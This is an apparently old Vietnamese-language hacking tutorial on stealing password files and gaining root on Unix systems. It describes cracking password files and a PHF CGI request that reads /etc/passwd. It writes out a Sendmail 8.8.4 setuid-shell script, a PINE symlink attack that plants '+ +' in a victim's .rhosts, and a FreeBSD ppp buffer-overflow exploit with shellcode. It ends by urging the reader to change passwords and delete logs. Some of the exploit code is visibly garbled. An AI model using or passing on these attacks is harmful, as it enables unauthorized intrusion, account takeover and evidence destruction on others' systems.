HCE-lay pass bang FTP

Lấy Password File bằng FTP

trang này đã được đọc lần

Ok, cách dễ nhất để lấy superuser access là bằng anonymous ftp access vào trong trang
web. Đầu tiên bạn cần biết một ít về password files...


root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh


Đây là 1 thí dụ của một password files mã hóa bình thường. Superuser là một
trong những cách để vào root. Đây là phần chính của file:


root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp


Đây là 1 thí dụ khác về password file, chỉ khác một chỗ, nó được shadowed (xin
lỗi, không biết dịch làm sao ). Shadowed password files không cho xem hay copy file
password được mã hóa. Nó gây khó khăn cho chương trình phá password và tạo
dictionary. Đây là 1 thí dụ về shadowed password file:


root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false


Shadowed password files có chữ "x" trước password hoặc đôi khi là "*".

Bây giờ bạn đã biết nhiều hơn một chút về password file, bạn có thể định
ra phần pw mã hóa bình thường từ shadowed pw file. Bây giờ chúng ta sẽ nói về
bẻ nó.

Bẻ password cũng không quá phức tạp, mặc dù các files khác nhau đối với mỗi
hệ thống.
1. Đầu tiên phải có password file bằng cách download hay copy nó.
2. Kế tiếp tìm chương trình crack password và chương trình tạo dictionary.

Có thể nói gần như không thể tìm chương trình crack nhưng cũng có thể có vài cái tốt.
Bạn nên dùng Cracker Jack, John the Ripper, Brute Force Cracker, hoặc Jack the Ripper. Bây
giờ phải có chương trình tạo dictionary hoặc dictionary file... Khi chạy chương
trình bẻ khóa sẽ hỏi bạn password file. Bạn dùng chương trình tạo dictionary
để tạo. Bạn có thể tải ở hầu như tất cả các trang hacker. Chương trình
tạo dictionary tất cả các cách có thể để ghép các ký tự do bạn chọn (ASCII,
caps, lowercase, hoặc số).
3. Chạy chương trình crack, làm theo các hướng dẫn.


Kỹ thuật PHF

Kỹ thuật PHF là cách dễ nhất để lấy password files (mặc dù không hoạt động
trong hơn 95% trường hợp). Để thực hiện chỉ cần nhập vào browser:

http://webpage_goes_here/cgi-bin/phf?Qalia...t%20/etc/passwd


Thay thế webpage_goes_here với tên của trang. Thí dụ bạn muốn lấy pw file trong
www.webpage.com thì bạn đánh:
 

http://www.webpage.com/cgi-bin/phf?Qalias=...t%20/etc/passwd


là xong! Chỉ việc ngồi chờ và copy (nếy nó hoạt động).


Telnet và khai thác điểm yếu (exploits)

Tốt nhất là bạn nên có 1 account trên trang muốn tấn công (nếu có thể) và xem
xét kỹ trang đó. Những lỗ hổng bảo mật hay lỗi trong hệ hống thường cho
phép bạn xâm nhập vào root. Có nhiều lỗ hổng khác nhau và bạn có thể xét
riêng lẻ chúng. Tôi liệt kê một số lỗ hổng.

Lỗ hổng này là Sendmail v.8.8.4
Nó tạo một chương trình ở /tmp/x và có thể chạy như root. Đây là cách set up
nó:

cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include<stdio.h>
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi


Và đây là một lỗ hổng khá. Tôi sẽ chỉ ra cách lợi dụng lỗ hổng PINE bằng
Linux. Bằng cách xem process table bằng ps để biết user nào chạy PINE, sau đó thực
hiện lệnh ls in /tmp/ để thu thập lockfile names cho mỗi user. Xem process table một
lần nữa sẽ hiện ra mỗi user thoát PINE hoặc xem message trong INBOX.

Tạo link từ /tmp/.hamors_lockfile tới ~hamors/.rhosts sẽ làm cho PINE tạo
~hamors/.rhosts là file dạng 666 với nội dung là PINE's process id. Bây giờ có thể
dùng lệnh echo "+ +" > /tmp/.hamors_lockfile, sau đó rm /tmp/.hamors_lockfile.

Thí dụ, hamors là nạn nhân và catluvr tấn công:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors



Tiếp theo là lỗ hổng của lỗi ppp. Lỗi này trên FreeBSD. Đây là cách set up
nó:


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE 156 /* size of the bufer to overflow */

#define OFFSET -290 /* number of bytes to jump after the start
of the buffer */

long get_esp(void) { ("movl %esp,%eax\n"); }

main(int argc, char *argv[])
{
char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */

int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);
ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell;

addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;

ptr = (char *)addr_ptr;
*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);
}


Bây giờ bạn đã vào được root. "What's next?" Tùy bạn nhưng tôi muốn khuyên
bạn nên đổi password trước khi xóa hay thay đổi các thứ. Để thay đổi password
bạn phải login bằng telnet và login với account mới. Sau đó chỉ cần đánh:
[I]passwd nó sẽ hỏi pw cũ và pw mới. Bây giờ chỉ có bạn mới có pw và nó có
thể kéo dài thời gian bạn upload, delete logs file và làm những gì bạn muốn.